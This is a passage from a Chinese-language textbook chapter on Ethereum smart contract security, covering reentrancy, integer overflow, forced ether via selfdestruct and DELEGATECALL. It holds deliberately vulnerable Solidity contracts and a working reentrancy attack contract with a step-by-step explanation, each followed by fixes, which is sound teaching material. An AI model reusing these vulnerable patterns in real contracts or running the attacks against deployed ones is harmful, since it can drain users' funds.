智能合约的状态变量存储在以太坊全局状态树中，并且每个智能合约只能存储、读取和修改与其自身地址相关的数据（智能合约不能读写其他智能合约的数据）。


日志


智能合约也可以通过日志事件将数据写入以太坊区链数据中。虽然Vyper最初使用__log__语法来声明这些事件，但是现在已经更新，使Vyper的事件声明更符合Solidity的原始语法。例如，Vyper对MyLog事件的最初声明语法是MyLog:1log2({arg1:indexed(bytes[3])})，而现在已经变成了MyLog:event({arg1:indexed(bytes[3])})。需要注意的是，在Vyper中依然是以形如log.MyLog(“123”)的方式执行日志事件。

虽然智能合约可以对以太坊链数据进行写入操作（通过日志事件），但是它们无法对所创建的链上日志事件进行读操作。尽管如此，通过日志事件对以太坊链数据进行写操作的一个好处是，这些日志数据可以被公链上的轻客户端发现和读取。例如，已经被挖掘的块中的logsBoom值可以表明该块是否存在日志事件。一旦确定该日志事件存在，人们就可以获得指定交易收据的日志数据。




总结



Vyper是一个功能强大且有趣的新的面向合约编程语言。它的设计理念偏向于“正确性”，从而牺牲了一些灵活性。这使得程序员能编写更好的智能合约，并且避免了某些导致严重漏洞的陷阱。接下来我们将更加详细地介绍智能合约的安全部分。一旦你阅读了智能合约中所有可能出现的安全问题，Vyper设计中那些细微差别将会变得更加明显。




第9章　智能合约安全
 


[1]








安全性是我们编写智能合约时要考量的最重要的因素之一。在智能合约编程领域，错误总是很轻易而又很昂贵地在发生。在本章中我们会来看看有哪些安全方面的最佳实践和设计模式，同时也会介绍一些“反模式”，它们都是一些会引入安全漏洞的实践和模式。

与其他程序一样，智能合约程序当然也会严格按照其程序逻辑来执行，虽然结果并不总是像程序员们所设想的那样。此外，所有智能合约都是公开可见的，任何人都可以简单地构造一个交易来与它们进行交互。任何漏洞都可能被利用，损失也往往无法挽回。因而，遵循最佳实践并使用经过了充分测试的设计模式就变得极其重要了。
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 本章大部分内容涉及代币的安全性，建议读者先阅读第10章，以便获得代币有关的基础知识。




安全最佳实践



防御性编码是一种非常适合于智能合约编程的编码风格。这突出表现在以下一些最佳实践中：


最小化/简单化


复杂性是安全性的敌人。代码越简单，实现的功能越少，那么它产生bug或非预期效果的可能性就越低。在刚开始进行智能合约编码的时候，开发者们经常会去写很多的代码。而实际上，你应该去认真思考你的合约设计，去找到用更少的代码、更小的复杂度和更少的“特性”去实现同样的功能。如果有人告诉你他们的项目产出了“数千行代码”的合约，那么你完全可以去质疑这个项目的安全性。越简单，越安全。


代码重用


不要重复造轮子！如果一个库或合约已经实现了你需要的大部分功能，那就去重用它。在你的代码中，遵循DRY原则：不要重复你自己（Don’t Repeat Yourself）。如果你看到任何代码片段重复出现了一次以上，那你就该问问自己，它们是否应该被写为函数或者库以便进行重用。那些被反复使用和测试的程序通常会比你新写的代码安全得多。在你冒险用一些拼凑的东西来“改进”某个特性或者某个组件的时候，小心“非此处发明”综合征
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 。


代码质量


智能合约的代码是不可更改的。每个bug都可能会导致资金的损失。你不应该像进行通用语言编程那样来进行智能合约开发。用Solidity编写DApp与用JavaScript制作Web组件完全不同。在这里，你应该使用严格的工程和软件开发方法论，因为你正处在像航天工程那样或其他类似的零容错的工程领域之中。代码一旦“发布”，你就几乎无法再修复任何问题了。


可读性和可审计性


你的代码应该简洁并易于理解，越容易理解也就越容易进行审计。智能合约是公开的，任何人都可以获得其字节码并进行反向工程。因而使用协作式的、开源软件的工程方法论来进行公开的开发是非常有益的，这可以使我们利用开源社区的集体智慧并从开源软件开发中最一般化的共同特性中获益。你应该编写配有完整文档并容易阅读的代码，遵循以太坊社区共同约定的编码风格和命名规范。


测试覆盖率


尽可能测试所有情况。智能合约是运行在一个完全开放的环境中的，任何人都可以使用他们想定的任意输入数据来执行智能合约。永远不要假定像函数参数这样的输入数据是格式化好的、不会越界的或一定有正常目的的。在真正运行你的代码之前，你应该测试所有的参数以确保它们都在你所期望的范围内并具有正确的格式。
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 指不愿意使用别人做好的东西。




安全风险和反模式



作为智能合约开发者，你应该熟悉大部分常识性的安全风险，以便有能力检查并避免那些会导致你的合约暴露在这些风险之下的编码模式。在后续段落中，我们会具体查看一些不同的安全风险、演示攻击如何发生的例子以及可以用来处理它们的对策或防范方法。




重入



以太坊智能合约的特性之一就是能够调用和使用其他外部合约的代码。合约通常也会用来处理以太币，因而也会经常将以太币发送到不同的外部用户地址。这些处理都需要合约提交外部调用。这些外部调用有可能会被攻击者劫持，迫使合约（通过回退函数）执行额外的代码，包括那些返回到合约自己代码的调用。臭名昭著的DAO攻击（
https://en.wikipedia.org/wiki/The_DAO_(organization)

 ）中使用的就是这种方式。

关于重入攻击的更多介绍，请参考Gus Guimareas关于这个主题的博客（
https://medium.com/@gus_tavo_guim/reentrancy-attack-on-smart-contracts-how-to-identify-the-exploitable-and-an-example-of-an-attack-4470a2d8dfe4

 ）以及以太坊智能合约最佳实践（
https://con-sensys.github.io/smart-contract-best-practices/known_attacks/#reentrancy

 ）。



漏洞的细节



当合约向不了解的地址发送以太币时可能会发生这种攻击。攻击者可以仔细地在外部地址构造一个在回退函数中包含有恶意代码的合约。当某个合约向这个地址发送以太币时，就会触发这些恶意代码。一般而言，这种恶意代码会去调用漏洞合约上的某个函数，去执行开发者没有预见到的操作。所谓“重入”，就是指外部的恶意合约通过函数调用来“重新进入”漏洞合约的代码执行过程。

为了说明这点，我们可以仔细考虑代码9-1所示的漏洞合约，它可以作为一个保险库来使用，允许存款用户每周提取1 ether。


代码9-1：EtherStore.sol







1 contract EtherStore {



2



3     uint256 public withdrawalLimit = 1 ether;



4     mapping(address => uint256) public lastWithdrawTime;



5     mapping(address => uint256) public balances;



6



7     function depositFunds() public payable {



8         balances[msg.sender] += msg.value;



9     }



10



11     function withdrawFunds (uint256 _weiToWithdraw) public {



12         require(balances[msg.sender] >= _weiToWithdraw);



13         // limit the withdrawal



14         require(_weiToWithdraw <= withdrawalLimit);



15         // limit the time allowed to withdraw



16         require(now >= lastWithdrawTime[msg.sender] + 1 weeks);



17         require(msg.sender.call.value(_weiToWithdraw)());



18         balances[msg.sender] -= _weiToWithdraw;



19         lastWithdrawTime[msg.sender] = now;



20     }



21 }







这个合约有两个public函数，depositFunds和withdrawFunds。depositFunds函数简单地对发送者的余额进行了累加。withdrawFunds函数则允许发送者指定要提取的wei的数量。这个函数的意图是仅当支取的数量小于等于1 ether且在过去的一周内没有提取过的情况下才能提取成功。

这里的漏洞在第17行，也就是这个合约向用户发送他们请求的以太币的地方。让我们考虑一名攻击者创建了如代码9-2所示的合约的情况。


代码9-2：Attack.sol







1 import "EtherStore.sol";



2



3 contract Attack {



4   EtherStore public etherStore;



5



6   // intialize the etherStore variable with the contract address



7   constructor(address _etherStoreAddress) {



8       etherStore = EtherStore(_etherStoreAddress);



9   }



10



11   function attackEtherStore() public payable {



12       // attack to the nearest ether



13       require(msg.value >= 1 ether);



14       // send eth to the depositFunds() function



15       etherStore.depositFunds.value(1 ether)();



16       // start the magic



17       etherStore.withdrawFunds(1 ether);



18   }



19



20   function collectEther() public {



21       msg.sender.transfer(this.balance);



22   }



23



24   // fallback function - where the magic happens



25   function () payable {



26     if (etherStore.balance > 1 ether) {



27       etherStore.withdrawFunds(1 ether);



28     }



29   }



30 }







那么这个有趣的攻击是如何发生的呢？首先，攻击者会创建一个恶意合约（我们假定其地址为0x0...123），并在构造函数的参数中传入了EtherStore合约的地址。这将会对保存攻击目标地址的public变量etherStore进行初始化。

攻击者随后会调用attackEtherStore函数，并附加1 ether或者更多以太币（我们假定附加了1 ether）。在这个例子中，我们同样假设其他用户已经向EtherStore合约进行了充值，这个合约的余额是10 ether。那么接下来会发生：

1.Attack.sol，第15行：EtherStore合约的depositFunds函数会被调用，msg.value将是1 ether（并附带有很多gas）。消息发送者（msg.sender）是恶意合约（0x0...123）。于是EtherStore合约中的balances[0x0...123]=1 ether。

2.Attack.sol，第17行：恶意合约随后会调用EtherStore合约的withdrawFunds函数，参数指定为1 ether。因为先前没有进行过取回操作，所以这将会通过所有检查（EtherStore合约的第12~16行）。

3.EtherStore.sol，第17行：这个合约会向恶意合约发回1 ether。

4.Attack.sol，第25行：向恶意合约的付款会触发回退函数。

5.Attack.sol，第26行：EtherStore合约的余额现在将是9 ether（因为发出了1 ether，所以由10 ether变为9 ether），所以这个检查会通过。

6.Attack.sol，第27行：回退函数再次调用EtherStore合约的withdrawFunds函数，也就是重入了EtherStore合约。

7.EtherStore.sol，第11行：在第二次对withdrawFunds函数的调用中，攻击合约的余额仍旧是1 ether，因为第一次调用中的第18行处理还没有执行。因而，balances[0x0...123]=1 ether。而且lastWithdrawTime变量的值也一样没有变化（因为第一次调用中的第19行处理也还没有执行）。所以再一次通过了所有检查。

8.EtherStore.sol，第17行：攻击合约取走了额外的1 ether。

9.第4~8步会反复进行，直到Attack.sol的第26行检查的情况不再满足，即Ether-Store合约的余额不再大于1 ether。

10.Attack.sol，第26行：一旦EtherStore合约的余额小于等于1 ether时，这个if条件将失败，回退函数将会结束，于是先前调用的每个EtherStore合约的withdrawFunds函数中的第18行和第19行处理将会被顺序执行。

11.EtherStore.sol，第18行和第19行：balances和lastWithdrawTime映射中的数值将会被更新，函数执行将会结束。

最终结果就是攻击者通过一个交易就取走了EtherStore合约的几乎所有余额（仅留下了1 ether）。



防范技术



有很多通用的技术可以帮助我们在智能合约中避免潜在的重入风险。首先就是（尽可能地）使用内置的transfer（
http://bit.ly/2Ogvnng

 ）函数来向外部合约发送以太币。因为transfer函数仅会给外部调用附加额外的2300 gas，所以这并不足以支持目标地址/合约再次调用其他合约（就是不足以重入发送以太币的合约）。

第二种技术就是确保所有对状态变量的修改都在向其他合约发送以太币（或者发起外部调用）之前来执行。在EtherStore合约这个例子中，就是把第18行和第19行的处理移到第17行之前。将任何对不了解的地址进行的外部调用放在函数或者代码片段的最后来执行是一个非常好的经验。这也就是所谓的“检查-生效-交互”模式，参见网址
https://solidity.readthedocs.io/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern

 。

第三种技术就是引入互斥锁，也就是增加一个状态变量来在代码执行中锁定合约，避免重入的调用。

将这三种技术（全部使用是不必要的，这里是出于示范的目的）应用到EtherStore.sol，我们可以给出如下免疫重入的合约：






1 contract EtherStore {



2



3     // initialize the mutex



4     bool reEntrancyMutex = false;



5     uint256 public withdrawalLimit = 1 ether;



6     mapping(address => uint256) public lastWithdrawTime;



7     mapping(address => uint256) public balances;



8



9     function depositFunds() public payable {



10         balances[msg.sender] += msg.value;



11     }



12



13     function withdrawFunds (uint256 _weiToWithdraw) public {



14         require(!reEntrancyMutex);



15         require(balances[msg.sender] >= _weiToWithdraw);



16         // limit the withdrawal



17         require(_weiToWithdraw <= withdrawalLimit);



18         // limit the time allowed to withdraw



19         require(now >= lastWithdrawTime[msg.sender] + 1 weeks);



20         balances[msg.sender] -= _weiToWithdraw;



21         lastWithdrawTime[msg.sender] = now;



22         // set the reEntrancy mutex before the external call



23         reEntrancyMutex = true;



24         msg.sender.transfer(_weiToWithdraw);



25         // release the mutex after the external call



26         reEntrancyMutex = false;



27     }



28 }









真实案例：The DAO



DAO（Decentralized Autonomous Organization，去中心化自治组织）攻击是以太坊早期发生的一个严重攻击。当时这个合约持有的资产价值超过1.5亿美元。重入在这次攻击中扮演了主要角色，最终导致了硬分叉，并创造出了以太坊经典（Ethereum Classic，ETC）。对DAO漏洞的详尽分析请参考
http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/

 。更多对以太坊分叉历史、DAO攻击的时间线以及导致ETC诞生的硬分叉的介绍可以在附录A中找到。




算术溢出



以太坊虚拟机对整数使用了固定大小的数据类型。这意味着整数变量仅能表示一个固定范围的数值。比如uint8只能保存数值范围[0,255]。如果你用uint8来保存256，它的值实际上会变为0。如果在Solidity中没有很谨慎地检查用户输入或者计算结果，那么会很容易导致溢出漏洞，也就是变量的实际数值超出其数据类型的有效范围。

关于算术溢出的更多信息，可以参考这两篇文章：“How to Secure Your Smart Contracts”,Ethereum Smart Contract Best Practices（
https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d

 ）和“Ethereum,Solidity and integer overflows:programming block chains like 1970”（
https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/

 ）。



漏洞的细节



当把超出某个变量的数据类型所能表示的数值范围的数值（或者数据片段）保存到这个变量时，就会产生所谓的溢出。

例如，当对一个uint8（以8位二进制保存的无符号整数，即非负整数）类型的、值为0的变量进行减1操作时，计算结果会等于255。这是一个下溢（underflow）。也就是我们把小于uint8数值范围最小值的数字赋值到这个类型的变量时，结果会被绕回处理（wraps around）从而获得一个uint8所能表示的最大数值。类似地，给uint8类型的变量加上2
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 =256不会使变量值变化，因为我们实际上绕回了一个uint8类型的整个数值范围。对这个特性的简单类比是汽车上的里程表（在超过最大数值比如999999时会变为000000）和周期性的数学函数（对sin的输入加上2π会获得一样的结果）。

给一个变量增加大于其数据类型的数值范围的数值，叫作上溢（overflow）。比如对一个uint8类型的、值为0的变量加上257会得到1。把固定长度的变量数值想象为是周期性变化的，有时很有帮助。当我们给它们增加超过其所能表示的最大数值时，它们会重新从0开始累加；而当我们从0开始减少其数值时，它们又会从其所能表示的最大数值开始递减。对于有符号整数类型，也就是能表示负数的类型，我们会在达到最大的负数值时重新开始。比如，如果我们对一个值为-128（二进制为10000000）的类型的变量减1，我们将得到127（二进制为01111111）。

这种数字上的谬误会允许攻击者“误用代码”来创造一些非预期的逻辑流程。比如代码9-3中的TimeLock合约：


代码9-3：TimeLock.sol







1 contract TimeLock {



2



3     mapping(address => uint) public balances;



4     mapping(address => uint) public lockTime;



5



6     function deposit() public payable {



7         balances[msg.sender] += msg.value;



8         lockTime[msg.sender] = now + 1 weeks;



9     }



10



11     function increaseLockTime(uint _secondsToIncrease) public {



12         lockTime[msg.sender] += _secondsToIncrease;



13     }



14



15     function withdraw() public {



16         require(balances[msg.sender] > 0);



17         require(now > lockTime[msg.sender]);



18         balances[msg.sender] = 0;



19         msg.sender.transfer(balance);



20     }



21 }







这个合约被设计用来作为一个定时的保险库：用户可以把以太币发送到这个合约，这些资金将被至少锁定一周。用户可以自主地增加这个等待时间，但一旦转入资金，用户就可以确定这些资金至少在一周之内或在由这个合约指定的时间内是安全的。

当用户需要转交他们的私钥时，像这样的一个合约就变得有用了，因为这个合约可以确保用户的以太币在短时间内无法被取走。但如果一个用户在这个合约里锁定了100 ether，并将他们的私钥交给了一个攻击者的话，攻击者就可以利用一个溢出来无视锁定时间从而取走所有以太币。

攻击者可以获取他们已经持有的私钥所对应的地址的当前锁定时间（lockTime，它是一个public变量），让我们把这个时间称作userLockTime。他们随后就可以用2
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 -userLockTime的数值作为参数来调用increaseLockTime函数。这个数值会被累加到当前的userLockTime上并导致一个上溢，将lockTime[msg.sender]重置为0。于是攻击者就可以简单地调用withdraw函数来获得他们的奖金。

现在让我们来看另一个例子（见代码9-4），这是从Ethernaut challenges（
https://github.com/OpenZeppelin/ethernaut

 ）中选取的：


剧透警告：
 如果你还没有完成Ethernaut challenges，这里将提供其中一个答案。


代码9-4：Ethernautchallenge中的下溢漏洞实例







1 pragma solidity ^0.4.18;



2



3 contract Token {



4



5   mapping(address => uint) balances;



6   uint public totalSupply;



7



8   function Token(uint _initialSupply) {



9     balances[msg.sender] = totalSupply = _initialSupply;



10   }



11



12   function transfer(address _to, uint _value) public returns (bool) {



13     require(balances[msg.sender] - _value >= 0);



14     balances[msg.sender] -= _value;



15     balances[_to] += _value;



16     return true;



17   }



18



19   function balanceOf(address _owner) public constant returns (uint balance) {



20     return balances[_owner];



21   }



22 }







这是一个简单的代币（Token，在下一章中详细介绍）合约，包含了一个transfer函数，允许参与者将他们的代币转移到其他地址。你能发现这个合约里的错误吗？

问题就出在transfer函数中。第13行的require语句可以通过下溢（underflow）绕过。我们假设某个用户的余额（balance）为0，那么他们可以使用任意的非零数值_value来绕过第13行的require语句。就像我们刚刚介绍过的那样，因为balances[msg.sender]为0（其类型为uint256），所以用它减去（除了2
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 以外）任何正整数都会获得一个正整数。这对于第14行的处理也是一样的，它会使余额变为一个正整数。因此，在这个例子里，攻击者可以利用下溢漏洞获得免费的代币。



防范技术



目前，为了防范溢出漏洞，通常会使用或构建用于算术运算的库合约来代替标准的算术操作加法、减法和乘法（不包含除法是因为除法不会导致溢出，EVM会在除数为0时产生异常）。

OpenZeppelin（
https://github.com/OpenZeppelin/openzeppelin-solidity

 ）项目完成了一项伟大的工作，它为以太坊社区构建并审计了很多安全的库合约。确切地说，它提供的库合约（
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol

 ）就可以用来避免溢出漏洞。

为了演示如何在Solidity中使用这些库合约，让我们用SafeMath库合约来纠正Time-Lock合约中的问题。没有溢出风险的版本如下：






1 library SafeMath {



2



3   function mul(uint256 a, uint256 b) internal pure returns (uint256) {



4     if (a == 0) {



5       return 0;



6     }



7     uint256 c = a * b;



8     assert(c / a == b);



9     return c;



10   }



11



12   function div(uint256 a, uint256 b) internal pure returns (uint256) {



13     // assert(b > 0); // Solidity automatically throws when dividing by 0



14     uint256 c = a / b;



15     // assert(a == b * c + a % b); // This holds in all cases



16     return c;



17   }



18



19   function sub(uint256 a, uint256 b) internal pure returns (uint256) {



20     assert(b <= a);



21     return a - b;



22   }



23



24   function add(uint256 a, uint256 b) internal pure returns (uint256) {



25     uint256 c = a + b;



26     assert(c >= a);



27     return c;



28   }



29 }



30



31 contract TimeLock {



32     using SafeMath for uint; // use the library for uint type



33     mapping(address => uint256) public balances;



34     mapping(address => uint256) public lockTime;



35



36     function deposit() public payable {



37         balances[msg.sender] = balances[msg.sender].add(msg.value);



38         lockTime[msg.sender] = now.add(1 weeks);



39     }



40



41     function increaseLockTime(uint256 _secondsToIncrease) public {



42         lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);



43     }



44



45     function withdraw() public {



46         require(balances[msg.sender] > 0);



47         require(now > lockTime[msg.sender]);



48         balances[msg.sender] = 0;



49         msg.sender.transfer(balance);



50     }



51 }







注意，所有标准算术操作都被替换成在SafeMath库合约中定义的算术操作函数。这样，TimeLock合约就不再允许任何会产生溢出的操作了。



真实案例：PoWHC和批量转账溢出（CVE 2018—10299）



Proof of Weak Hands Coin（PoWHC）最初产生自一个玩笑，是一个由网友编写的庞氏骗局（Ponzischeme）。不幸的是，作者看起来并不知道有溢出的问题，因此有866枚以太币被从合约中提走了。Eric Banisadr在他的博客（
https://blog.goodaudience.com/how-800k-evaporated-from-the-powh-coin-ponzi-scheme-overnight-1b025c33b530

 ）中对这个事件中发生的溢出（它与刚刚介绍的Ethernaut challenge中的例子不尽相同）做了很好的回顾。

另外一个例子（
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

 ）是来自一些ERC20代币合约中实现的batchTransfer函数，其中包含了上溢的漏洞。你可以在PeckShield的博客（
https://medium.com/@peckshield/alert-new-batchoverflow-bug-in-multiple-erc20-smart-contracts-cve-2018-10299-511067db6536

 ）中获得更多细节。




意外的以太币



一般而言，当以太币被发送到某个合约时，必须要执行回退函数或者其他在合约中定义的函数。但这里有两个例外可以在不触发任何代码执行的情况下使合约的以太币余额增加。于是在以太币可以被强制发送的情况下，那些依靠代码执行来判断发送到它们的以太币数量的合约就有了可被攻击的漏洞。

请参考“How to Secure Your Smart Contracts”（
https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-2-730db0aa4834

 ）和“Solidity Security Patterns-Forcing Ether to a Contract”这两篇文章来获得更多信息。



漏洞的细节



有一种通用的防御性编程技术叫作不变性检查，它可以用来确保正确的状态转换或者操作检查。这通常包含了对一系列不可变数据（不可变的指标或参数）的定义以及在一个（或多个）操作之后对它们的不变性进行检查的处理。这通常是很好的设计，对不可变的数据提供了不变性检查。这种不可变数据的一个例子就是某个定量发行的ERC20代币的totalSupply（总发行量）。由于没有函数可以修改这个数据，所以我们可以给transfer函数增加一个检查来确保totalSupply没有被更改，以此来保证函数确实是按照预想来运作的。

事实上，有这么一个明显的可以被用作不可变数据的量，然而实际上它却是可以被外部用户所操纵的
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 ，这就是合约中保存的以太币的数量。当开发者初学Solidity时，他们常常会错误地以为合约仅能通过声明为payable的函数来接收以太币。这个误解会导致合约错误地假设它们持有的以太币余额，这也会导致一系列的漏洞。这个漏洞的确凿证据就是对this.balance的误用。

有两种方式可以在不使用payable函数或执行任何合约代码的情况下将以太币（强制）发送到一个合约：


self-destruct/suicide


任何合约都可以使用selfdestruct函数（
https://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#self-destruct

 ），它可以将当前合约地址的关联代码清除，并将当前合约中保存的所有以太币发送到由其参数指定的地址。如果指定的地址是一个合约，那么不会触发任何函数的执行（包括回退函数）。于是，即使目标合约没有payable函数，selfdestruct函数也可以在无视目标合约代码的情况下向任意合约强制发送以太币。这意味着攻击者可以构造一个合约，向它发送一些以太币，然后调用selfdestruct(target)来向目标合约发送以太币。Martin Swende有一篇极好的博客文章（
http://swende.se/blog/Ethereum_quirks_and_vulns.html

 ）描述了self-destruct操作码的奇怪行为（Quirk#2）以及客户端节点如何检查那些不正确的不可变数据而可能导致以太坊网络发生相当严重的事故。


预先发送的以太币


另一种把以太币注入一个合约的方法就是预先使用还没有创建出来的合约地址。实际上，合约的地址是基于创建这个合约的账户地址和交易的nonce经过Keccak 256（通常是SHA 3的同义词）计算出来的，地址是确定的。具体来说，它是这样算出来的：address=sha3(rlp.encode([account_address,transaction_nonce]))（这个细节的一些有趣的用例请参考Adrian Manning的关于“Keyless Ether”的讨论，网址为
https://blog.sigmaprime.io/solidity-security.html#keyless-eth

 ）。这意味着任何人都可以事先知晓一个合约将被创建到的地址并预先向那个地址发送以太币。这样当合约创建出来之后，它的余额将是一个非零值。

让我们来探究一下这其中的一些陷阱。仔细考虑代码9-5所示的简单合约。


代码9-5：EtherGame.sol







1 contract EtherGame {



2



3     uint public payoutMileStone1 = 3 ether;



4     uint public mileStone1Reward = 2 ether;



5     uint public payoutMileStone2 = 5 ether;



6     uint public mileStone2Reward = 3 ether;



7     uint public finalMileStone = 10 ether;



8     uint public finalReward = 5 ether;



9



10     mapping(address => uint) redeemableEther;



11     // Users pay 0.5 ether. At specific milestones, credit their accounts.



12     function play() public payable {



13         require(msg.value == 0.5 ether); // each play is 0.5 ether



14         uint currentBalance = this.balance + msg.value;



15         // ensure no players after the game has finished



16         require(currentBalance <= finalMileStone);



17         // if at a milestone, credit the player's account



18         if (currentBalance == payoutMileStone1) {



19             redeemableEther[msg.sender] += mileStone1Reward;



20         }



21         else if (currentBalance == payoutMileStone2) {



22             redeemableEther[msg.sender] += mileStone2Reward;



23         }



24         else if (currentBalance == finalMileStone ) {



25             redeemableEther[msg.sender] += finalReward;



26         }



27         return;



28     }



29



30     function claimReward() public {



31         // ensure the game is complete



32         require(this.balance == finalMileStone);



33         // ensure there is a reward to give



34         require(redeemableEther[msg.sender] > 0);



35         redeemableEther[msg.sender] = 0;



36         msg.sender.transfer(transferValue);



37     }



38 }







这个合约是一个简单的游戏
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 。玩家们可以向合约发送0.5 ether以尝试成为首先达到三个里程碑条件的那个人。里程碑条件是通过以太币数量来计量的。首先使合约余额达到里程碑条件的玩家可以在游戏结束时领取一定量的以太币。游戏将在合约余额达到最终里程碑（10 ether）时结束，而后玩家们就可以领取他们的奖金了。

EtherGame合约的问题来自于第14行（与第16行相关）以及第32行中对this.balance的错误使用。一个喜欢捉弄人的攻击者可以通过selfdestruct函数（刚刚介绍过）向这个合约强制地发送一点儿以太币，比如0.1 ether，来使所有后续玩家都无法达成里程碑条件。因为在增加了这0.1 ether之后，在所有玩家都只能发送0.5 ether的条件下，this.balance将永远无法成为0.5 ether的倍数。这就使第18、21和24行的if判断条件永远无法为true。

更为严重的是，一个错过了里程碑条件的报复性攻击者，可以向合约强制发送10 ether（或可以使合约的余额大于finalMileStone的若干以太币），这将把所有奖励都永远锁定在这个合约里。这是因为第32行的判定条件将永远失败而导致revert
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 。



防范技术



这种类型的漏洞通常都源于误用this.balance。我们的合约逻辑中应该尽可能避免依赖合约余额的具体数值，因为它可以被人为地操纵。如果你基于this.balance设计了逻辑，那你就不得不去和这些意外的以太币余额进行纠缠。

如果需要判断以太币的具体充值数额，我们可以使用一个自定义的变量在payable函数中记录数额的变动以安全地跟踪充值数额。应该保证这个变量不会被通过selfde-struct调用强制发送的以太币所影响。

考虑到这一点，一个修正版本的EtherGame合约如下：






1 contract EtherGame {



2



3     uint public payoutMileStone1 = 3 ether;



4     uint public mileStone1Reward = 2 ether;



5     uint public payoutMileStone2 = 5 ether;



6     uint public mileStone2Reward = 3 ether;



7     uint public finalMileStone = 10 ether;



8     uint public finalReward = 5 ether;



9     uint public depositedWei;



10



11     mapping (address => uint) redeemableEther;



12



13     function play() public payable {



14         require(msg.value == 0.5 ether);



15         uint currentBalance = depositedWei + msg.value;



16         // ensure no players after the game has finished



17         require(currentBalance <= finalMileStone);



18         if (currentBalance == payoutMileStone1) {



19             redeemableEther[msg.sender] += mileStone1Reward;



20         }



21         else if (currentBalance == payoutMileStone2) {



22             redeemableEther[msg.sender] += mileStone2Reward;



23         }



24         else if (currentBalance == finalMileStone ) {



25             redeemableEther[msg.sender] += finalReward;



26         }



27         depositedWei += msg.value;



28         return;



29     }



30



31     function claimReward() public {



32         // ensure the game is complete



33         require(depositedWei == finalMileStone);



34         // ensure there is a reward to give



35         require(redeemableEther[msg.sender] > 0);



36         redeemableEther[msg.sender] = 0;



37         msg.sender.transfer(transferValue);



38     }



39 }







这里，我们创建了一个新的变量depositedEther来跟踪已知的充值数额，并且将其用于我们的测试。请注意，我们已经不再使用this.balance了。



延伸案例



在Underhanded Solidity Coding Contest（
https://github.com/Arachnid/uscc/tree/master/submissions-2017/

 ）中也有几个漏洞合约的例子，其中也体现了本节中介绍的若干陷阱。




[1]

 这是无意地被加入到智能合约的规则之中的，也就是说并不是故意将这个特性设计成这样。




[2]

 实际上也包含了竞争条件，即race condition，是后续介绍中会提到的一种攻击方式。




[3]

 也就是this.balance会永远大于finalMileStone，所以claimReward函数将永远无法执行成功。




DELEGATECALL



CALL和DELEGATECALL操作码允许以太坊开发者模块化他们的代码，这是非常有用的特性。到其他合约的标准外部消息调用是由CALL操作码处理的，这将使代码运行在目标合约的上下文中。DELEGATECALL操作码几乎与CALL是等价的，除了代码是运行在调用合约的上下文中，而非目标合约的上下文中，并且msg.sender和msg.value会保持不变。这个特性使实现库合约成为可能，它允许开发者部署可重用的代码并在未来的合约中直接调用它们。

尽管这两个操作码的区别简单易懂，但使用DELEGATECALL可能会导致非预期的代码执行结果。

请参考Loi.Luu关于这个主题的Ethereum Stack Exchange question（
https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall

 ）和Solidity文档（
https://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#delegatecall-callcode-and-libraries

 ）来获得更多的信息。



漏洞的细节



作为DELEGATECALL保持执行上下文这个特性的后果，构建没有漏洞的自定义库合约并不像我们想象得那么容易。库合约本身的代码可以是安全、无漏洞的，然而当它们运行在其他合约的上下文中时，就可能产生新的漏洞。让我们来看一个比较复杂的、使用了斐波那契数列的例子。

仔细考虑代码9-6所示的库合约，它可以产生斐波那契数列和类似格式的数列。（注意，这个代码是由
https://bit.ly/2MReuii

 修改而来的。）


代码9-6：FibonacciLib.sol







1 // library contract - calculates Fibonacci-like numbers



2 contract FibonacciLib {



3     // initializing the standard Fibonacci sequence



4     uint public start;



5     uint public calculatedFibNumber;



6



7     // modify the zeroth number in the sequence



8     function setStart(uint _start) public {



9         start = _start;



10     }



11



12     function setFibonacci(uint n) public {



13         calculatedFibNumber = fibonacci(n);



14     }



15



16     function fibonacci(uint n) internal returns (uint) {



17         if (n == 0) return start;



18         else if (n == 1) return start + 1;



19         else return fibonacci(n - 1) + fibonacci(n - 2);



20     }



21 }







这个库合约提供了一个函数可以生成斐波那契数列中的第n个数值。它允许用户指定序列中的一个开始数字（start）并依照数列的规则计算后边序列中的第n个数值。

现在让我们考虑另一个使用了这个库的合约，如代码9-7所示。


代码9-7：FibonacciBalance.sol







1 contract FibonacciBalance {



2



3     address public fibonacciLibrary;



4     // the current Fibonacci number to withdraw



5     uint public calculatedFibNumber;



6     // the starting Fibonacci sequence number



7     uint public start = 3;



8     uint public withdrawalCounter;



9     // the Fibonancci function selector



10     bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));



11



12     // constructor - loads the contract with ether



13     constructor(address _fibonacciLibrary) public payable {



14         fibonacciLibrary = _fibonacciLibrary;



15     }



16



17     function withdraw() {



18         withdrawalCounter += 1;



19         // calculate the Fibonacci number for the current withdrawal user-



20         // this sets calculatedFibNumber



21         require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));



22         msg.sender.transfer(calculatedFibNumber * 1 ether);



23     }



24



25     // allow users to call Fibonacci library functions



26     function() public {



27         require(fibonacciLibrary.delegatecall(msg.data));



28     }



29 }







这个合约允许参与者从合约中取走以太币，数额等于参与者取款操作的顺序号所对应的斐波那契数值；也就是说第一个参与者能取走1 ether，第二个参与者也能取走1 ether，第三个能取走2 ether，第四个能取走3 ether，第五个能取走5 ether，以此类推（直到合约余额小于要取走的数额）。

这个合约中的部分细节需要一些解释。首先，它有一个有趣的变量fibSig，它保存了字符串'setFibonacci(uint256)'的Keccak-256（SHA-3）哈希值的前4字节。这就是我们所知的函数选择器（function selector，参考网址
https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector

